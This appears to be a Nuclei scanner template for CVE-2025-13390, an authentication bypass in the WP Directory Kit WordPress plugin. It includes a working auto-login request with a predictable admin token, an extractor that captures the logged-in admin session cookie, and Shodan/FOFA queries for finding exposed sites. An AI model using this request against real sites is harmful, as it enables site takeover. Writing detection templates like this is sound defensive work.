WP Directory Kit <= 1.4.4 - Authentication Bypass

id: CVE-2025-13390

info:
  name: WP Directory Kit <= 1.4.4 - Authentication Bypass
  author: maxthepm
  severity: critical
  description: |
    The WP Directory Kit plugin for WordPress version 1.4.4 and below contains an authentication bypass vulnerability in its auto-login functionality. The vulnerability allows unauthenticated attackers to gain administrative access by exploiting a cryptographically weak token generation mechanism that uses only the first 10 characters of MD5(user_id). For user_id=1 (typically admin), the token is always predictable.
  impact: |
    Unauthenticated attackers can gain administrative access, leading to full site takeover.
  remediation: |
    Update to the latest version beyond 1.4.4.
  reference:
    - https://plugins.trac.wordpress.org/browser/wpdirectorykit/trunk/actions.php#L116
    - https://ryankozak.com/posts/cve-2025-13390/
    - https://github.com/d0n601/CVE-2025-13390
    - https://nvd.nist.gov/vuln/detail/CVE-2025-13390
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 10.0
    cve-id: CVE-2025-13390
    epss-score: 0.04593
    epss-percentile: 0.91092
    cwe-id: CWE-287
  metadata:
    verified: true
    max-request: 1
    shodan-query: html:"/wp-content/plugins/wpdirectorykit"
    fofa-query: "body:/wp-content/plugins/wpdirectorykit"
  tags: cve,cve2025,wordpress,wp,wp-plugin,auth-bypass,wpdirectorykit,vkev

http:
  - raw:
      - |
        GET /?auto-login=1&user_id=1&token=c4ca4238a0 HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36

    redirects: true
    max-redirects: 2

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - "wordpress_logged_in_"
        case-insensitive: true

      - type: word
        part: header
        words:
          - "Set-Cookie"
        case-insensitive: true

      - type: status
        status:
          - 302

    extractors:
      - type: kval
        part: header
        kval:
          - set_cookie
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